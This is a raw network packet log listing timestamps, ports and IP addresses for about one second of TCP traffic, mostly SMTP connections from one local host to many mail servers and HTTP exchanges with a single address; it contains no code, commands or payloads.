Aug 24, 2023 19:03:27.760309935 CEST	25	49827	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:27.761960983 CEST	25	49827	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:27.762172937 CEST	49827	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:27.762404919 CEST	25	49821	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:27.762454033 CEST	25	49821	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:27.762682915 CEST	25	49821	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:27.762702942 CEST	25	49827	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:27.762756109 CEST	49827	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:27.766697884 CEST	49864	25	192.168.2.8	38.111.141.152
Aug 24, 2023 19:03:27.776987076 CEST	49865	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:27.783647060 CEST	80	49777	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:27.783713102 CEST	80	49777	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:27.783735037 CEST	25	49853	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:27.783792019 CEST	49777	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:27.784209013 CEST	25	49854	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:27.784723043 CEST	25	49853	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:27.791697979 CEST	80	49860	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:27.791841984 CEST	49860	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:27.792211056 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:27.792315960 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:27.792718887 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:27.792855978 CEST	25	49859	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:27.792895079 CEST	25	49859	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:27.793031931 CEST	49859	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:27.795469046 CEST	25	49861	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:27.795510054 CEST	25	49861	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:27.795845985 CEST	49861	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:27.799242020 CEST	25	49844	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:27.804672003 CEST	25	49821	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:27.815414906 CEST	25	49807	44.235.224.67	192.168.2.8
Aug 24, 2023 19:03:27.815803051 CEST	25	49807	44.235.224.67	192.168.2.8
Aug 24, 2023 19:03:27.815923929 CEST	25	49807	44.235.224.67	192.168.2.8
Aug 24, 2023 19:03:27.815954924 CEST	25	49807	44.235.224.67	192.168.2.8
Aug 24, 2023 19:03:27.815984964 CEST	25	49807	44.235.224.67	192.168.2.8
Aug 24, 2023 19:03:27.816153049 CEST	49807	25	192.168.2.8	44.235.224.67
Aug 24, 2023 19:03:27.839910984 CEST	25	49854	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:27.840440989 CEST	49854	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:27.872487068 CEST	25	49863	47.43.18.9	192.168.2.8
Aug 24, 2023 19:03:27.872623920 CEST	49863	25	192.168.2.8	47.43.18.9
Aug 24, 2023 19:03:27.878309965 CEST	25	49821	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:27.878501892 CEST	49821	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:27.880146027 CEST	25	49864	38.111.141.152	192.168.2.8
Aug 24, 2023 19:03:27.881133080 CEST	49864	25	192.168.2.8	38.111.141.152
Aug 24, 2023 19:03:27.890247107 CEST	25	49865	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:27.890431881 CEST	49865	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:27.895147085 CEST	49853	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:27.897481918 CEST	25	49827	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:27.912132025 CEST	25	49842	211.249.219.37	192.168.2.8
Aug 24, 2023 19:03:27.912163973 CEST	25	49842	211.249.219.37	192.168.2.8
Aug 24, 2023 19:03:27.912180901 CEST	25	49842	211.249.219.37	192.168.2.8
Aug 24, 2023 19:03:27.912297010 CEST	25	49842	211.249.219.37	192.168.2.8
Aug 24, 2023 19:03:27.912595987 CEST	25	49842	211.249.219.37	192.168.2.8
Aug 24, 2023 19:03:27.916802883 CEST	49866	25	192.168.2.8	44.237.12.42
Aug 24, 2023 19:03:27.935518980 CEST	49867	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:27.952177048 CEST	25	49842	211.249.219.37	192.168.2.8
Aug 24, 2023 19:03:27.954298973 CEST	25	49854	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:27.954453945 CEST	49854	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:27.961816072 CEST	25	49846	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:27.962445021 CEST	49846	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:27.964878082 CEST	25	49859	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:27.965173006 CEST	49859	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:27.966036081 CEST	25	49861	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:27.966262102 CEST	49861	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:27.988272905 CEST	25	49844	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:27.988734007 CEST	49844	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:28.007953882 CEST	25	49865	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:28.008411884 CEST	49865	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:28.012135029 CEST	49868	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:28.013647079 CEST	25	49821	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:28.013722897 CEST	49821	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:28.035257101 CEST	25	49863	47.43.18.9	192.168.2.8
Aug 24, 2023 19:03:28.035299063 CEST	25	49863	47.43.18.9	192.168.2.8
Aug 24, 2023 19:03:28.035474062 CEST	49863	25	192.168.2.8	47.43.18.9
Aug 24, 2023 19:03:28.035649061 CEST	49863	25	192.168.2.8	47.43.18.9
Aug 24, 2023 19:03:28.046185017 CEST	25	49807	44.235.224.67	192.168.2.8
Aug 24, 2023 19:03:28.068300962 CEST	25	49867	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:28.068520069 CEST	49867	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:28.080856085 CEST	25	49846	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:28.081027031 CEST	49846	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:28.110239983 CEST	25	49866	44.237.12.42	192.168.2.8
Aug 24, 2023 19:03:28.110460997 CEST	49866	25	192.168.2.8	44.237.12.42
Aug 24, 2023 19:03:28.113709927 CEST	49869	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:28.117377043 CEST	25	49844	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:28.117530107 CEST	49844	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:28.121665955 CEST	25	49865	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:28.121836901 CEST	25	49865	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:28.122234106 CEST	49865	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:28.136437893 CEST	25	49861	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:28.136703968 CEST	49861	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:28.137161970 CEST	25	49859	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:28.137253046 CEST	49859	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:28.139112949 CEST	25	49868	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:28.139261007 CEST	49868	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:28.157723904 CEST	25	49863	47.43.18.9	192.168.2.8
Aug 24, 2023 19:03:28.160841942 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.191474915 CEST	49870	25	192.168.2.8	64.98.38.4
Aug 24, 2023 19:03:28.203006983 CEST	25	49867	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:28.203464031 CEST	49867	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:28.217794895 CEST	49871	25	192.168.2.8	74.208.5.20
Aug 24, 2023 19:03:28.227931023 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.228173018 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.228207111 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.228252888 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.228285074 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.228303909 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.228318930 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.228343010 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.228352070 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.228382111 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.228391886 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.228414059 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.228426933 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.228444099 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.228461981 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.228476048 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.228513002 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.229285002 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.235918045 CEST	25	49865	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:28.236349106 CEST	49865	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:28.246915102 CEST	25	49869	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:28.247109890 CEST	49869	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:28.281908989 CEST	49872	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:28.295278072 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.295325994 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.295356989 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.295387983 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.295419931 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.295468092 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.295480967 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.295502901 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.295548916 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.295569897 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.296086073 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.296133041 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.296153069 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.296171904 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.296175003 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.296204090 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.296230078 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.296257973 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.296267033 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.296288013 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.296300888 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.296320915 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.296351910 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.296380997 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.296408892 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.296437025 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.296454906 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.296464920 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.296509981 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.296530008 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.329818964 CEST	25	49870	64.98.38.4	192.168.2.8
Aug 24, 2023 19:03:28.330111980 CEST	49870	25	192.168.2.8	64.98.38.4
Aug 24, 2023 19:03:28.336086035 CEST	25	49867	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:28.336980104 CEST	25	49867	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:28.337361097 CEST	49867	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:28.349205971 CEST	25	49871	74.208.5.20	192.168.2.8
Aug 24, 2023 19:03:28.349375010 CEST	49871	25	192.168.2.8	74.208.5.20
Aug 24, 2023 19:03:28.362567902 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.362605095 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.362624884 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.362644911 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.362667084 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.362687111 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.362708092 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.362729073 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.362749100 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.362770081 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.362782001 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.362790108 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.362804890 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.362822056 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.362827063 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.362848997 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.362852097 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.362870932 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.362889051 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.363145113 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.363208055 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.363234997 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.363398075 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.363420010 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.363429070 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.363451004 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.363491058 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.363511086 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.363528967 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.363538980 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.363550901 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.363573074 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.363593102 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.363611937 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.363631964 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.363646984 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.363656998 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.363668919 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.363689899 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.363703966 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.363723993 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.363743067 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.363743067 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.363800049 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.363818884 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.363837004 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.363857031 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.363877058 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.363897085 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.363917112 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.363929033 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.364020109 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.389889002 CEST	25	49865	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:28.392648935 CEST	25	49866	44.237.12.42	192.168.2.8
Aug 24, 2023 19:03:28.392668962 CEST	25	49866	44.237.12.42	192.168.2.8
Aug 24, 2023 19:03:28.392951012 CEST	49866	25	192.168.2.8	44.237.12.42
Aug 24, 2023 19:03:28.393054008 CEST	49866	25	192.168.2.8	44.237.12.42
Aug 24, 2023 19:03:28.394705057 CEST	25	49869	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:28.394993067 CEST	49869	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:28.396137953 CEST	25	49864	38.111.141.152	192.168.2.8
Aug 24, 2023 19:03:28.396508932 CEST	25	49864	38.111.141.152	192.168.2.8
Aug 24, 2023 19:03:28.396675110 CEST	49864	25	192.168.2.8	38.111.141.152
Aug 24, 2023 19:03:28.397802114 CEST	49864	25	192.168.2.8	38.111.141.152
Aug 24, 2023 19:03:28.409039021 CEST	25	49872	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:28.409199953 CEST	49872	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:28.425900936 CEST	25	49868	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:28.426227093 CEST	49868	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:28.429969072 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.429996967 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.430016041 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.430036068 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.430056095 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.430075884 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.430097103 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.430103064 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.430118084 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.430139065 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.430140018 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.430157900 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.430169106 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.430179119 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.430186987 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.430202007 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.430211067 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.430223942 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.430223942 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.430246115 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.430253983 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.430268049 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.430282116 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.430290937 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.430294991 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.430310965 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.430330038 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.430331945 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.430351973 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.430352926 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.430373907 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.430375099 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.430396080 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.430433989 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.430434942 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.430496931 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.430509090 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.430517912 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.430537939 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.430548906 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.430558920 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.430573940 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.430579901 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.430600882 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.430609941 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.430609941 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.430620909 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.430628061 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.430640936 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.430646896 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.430661917 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.430663109 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.430684090 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.430699110 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.430726051 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.430747032 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.430778980 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.430778980 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.431148052 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.431216955 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.431252956 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.431315899 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.431317091 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.431338072 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.431358099 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.431374073 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.431380033 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.431401014 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.431420088 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.431440115 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.431476116 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.431478977 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.431478977 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.431478977 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.431497097 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.431509972 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.431516886 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.431538105 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.431551933 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.431551933 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.431560993 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.431582928 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.431660891 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.431660891 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.431660891 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.431660891 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.431862116 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.431883097 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.431900978 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.431930065 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.431934118 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.431934118 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.431950092 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.431969881 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.431972980 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.431993008 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.432013035 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.432033062 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.432033062 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.432053089 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.432065964 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.432075024 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.432084084 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.432096004 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.432112932 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:28.432116032 CEST	80	49862	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:28.432137966 CEST	80	49862	185.215.113.66	192.168.2.8
